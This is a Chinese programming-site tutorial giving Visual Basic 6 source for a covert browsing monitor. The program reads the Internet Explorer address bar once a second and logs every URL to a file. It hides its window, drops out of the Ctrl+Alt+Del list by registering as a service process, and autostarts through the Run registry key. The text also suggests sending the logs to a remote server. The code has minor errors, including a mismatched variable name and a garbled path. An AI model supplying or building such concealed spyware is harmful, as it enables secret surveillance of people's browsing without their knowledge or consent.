程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> Visual Basic語言 >> VB6 >> 一個用VB編寫的監控別人上網的軟件例子

一個用VB編寫的監控別人上網的軟件例子

編輯:VB6

一、程序核心

本程序的核心是通過API函數獲得窗口句柄並獲得浏覽器訪問的網址,在此基礎上可以實現用Winsock控件進行遠程的監視和管理。

1.先創建一個工程並在窗口Form1中,並聲明下面的四個API函數和兩個常量:

Option Explicit Private Declare Function FindWindow Lib ″user32″ Alias ″FindWindowA″ (ByVal lpCl assName As String, ByVal lpWindowName As String) As Long

′Findwindow函數的功能是找到當前運行的IE窗口的url地址的句柄

Private Declare Function SendMessage Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long

′SendMessage函數的功能是向操作系統發送一條消息

Private Declare Function FindWindowEx Lib ″user32″ Alias ″FindWindowExA″ (ByVal hWnd1 As Long,ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

′FindwindowEx函數的功能是找到子窗體的句柄

Private Declare Function SendMessageByString Lib ″user32″ Alias ″SendMessageA″ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long

Private Const WM_GETTEXT = &HD

Private Const WM_GETTEXTLENGTH = &HE

2.在窗體上添加Command控件,並命名為GetURLstring,單擊此命令按鈕,並為其添加下面的程序代碼:

Private Sub GetURLstring_Click()

On Error GoTo CallErrorA

Dim sClassName As String ′設定一個字符串變量,是類變量

Dim lhwnd As Long ′設定一個長整形變量用來接收函數返回值

Dim WindowHandle As Long ′設定一個長整形變量用來接收函數的返回句柄

lhwnd = 0

sClassName = (″IEFrame″)

lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′獲得URL地址欄的句柄,獲得IE窗口的句柄

sClassName = (″WorkerA″)

lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′獲得IE窗口的工作區的句柄

sClassName = (″ReBarWindow32″)

lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′獲得IE窗口的菜單欄的句柄

sClassName = (″ComboBoxEx32″)

lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′獲得IE窗口的下拉菜單的句柄

sClassName = (″ComboBox″)

lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′獲得IE窗口的下拉菜單當前項的句柄

sClassName = (″Edit″)

lhwnd = FindWindowEx(lhwnd, 0, sClassName, vbNullString) ′獲得這個下拉菜單的編輯框句柄

WindowHandle = lhwnd ′接收當前我們想要的句柄

Dim buffer As String ′設定字符串變量接收當前的字符串

Dim TextLength As Long ′設定長整形變量接收字符串的長度

TextLength = SendMessage(WindowHandle, WM_GETTEXTLENGTH, 0&, 0&) ′向系統發送獲得IE窗口的地址欄中的字符串長度命令

buffer = String(TextLength, 0) ′

Call SendMessageByString(WindowHandle, WM_GETTEXT, TextLength + 1, buffer) ′向系統發送獲得IE窗體地址欄中的字符串命令

If buffer = ″″ Then

MsgBox ″MicroSoft InternetExplorer浏覽器沒有運行.″, vbOKOnly

Else

MsgBox buffer ′IE運行時顯示當前網址

End If

Exit Sub

CallErrorA:

MsgBox Err.Description

Err.Clear

End Sub

二、添加定時保存功能

我們對上面的程序稍作改動,即可實現定時把當前訪問的網址保存到文件,這樣就為我們進行網絡監控提供了保證。

1.在窗體上添加Timer控件Timer1,並將其屬性Interval設置為1000,雙擊此控件,定義代碼如下:

Private Sub Timer1_Timer()

GetURLstring_Click

End Sub

2. 在窗體代碼開始的聲明部分定義變量curUrl

Dim curUrl As String

3.用文件操作函數把Buffer變量中的字符串寫進磁盤文件中,添加代碼如下

Private Sub Form_Load()

Open App.Path & ″TestFile.txt″ For Output Access Write As #1 ′打開一個文件End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Close #1 ′關閉開始打開的文件

End Sub

並把GetURLstring_Click()中的如下部分

If buffer = ″″ Then

MsgBox ″MicroSoft InternetExplorer浏覽器沒有運行.″, vbOKOnly

Else

MsgBox buffer ′IE運行時顯示當前網址

End If

改為如下代碼:

If buffer <> ″″ And buffer <> curUrl Then

Write #1, Now & vbTab & buffer

curUrl = buffer

End If

三、隱蔽運行

為了防止運行在客戶端的程序被用戶發現,可以把窗體隱藏,並調用API函數讓其在Ctrl+Alt+Del的程序列表中消失,需要把自己的程序注冊為服務器(Service),這可以利用RegisterService API函數將程序的進程ID進行注冊來實現。在程序退出時再次使用此API函數將服務器注冊取消。方法如下:

1.在窗體的聲明部分聲明加入API函數和需要的常數:

Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long

Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long

Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long, _ ByVal dwType As Long) As Long

Private Const RSP_SIMPLE_SERVICE = 1

Private Const RSP_UNREGISTER_SERVICE = 0

2.注冊為service和釋放注冊的過程:

在Form_Load事件的開始添加如下代碼

Dim pid As Long

Dim reserv As Long

pid = GetCurrentProcessId() ′得到當前進程ID

regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) ′把本程序注冊為service

把Form_QueryUnload事件修改為如下代碼,即在程序結束時把服務器注冊取消

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Dim pid As Long

Dim reserv As Long

Close #1

pid = GetCurrentProcessId()

regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)

End Sub

如果讓程序開機運行,需要先把文件編譯為可執行文件放到特定目錄下,並修改注冊表讓其開機便運行,路徑是HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersonRun,用API函數在裡面寫入個字符串型的鍵值,並把內容修改成為你的文件名(包括路徑)即可,當然,更為實用的功能是把訪問的網址信息定時傳送到服務器,需要用到Winsock控件和定時傳輸。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved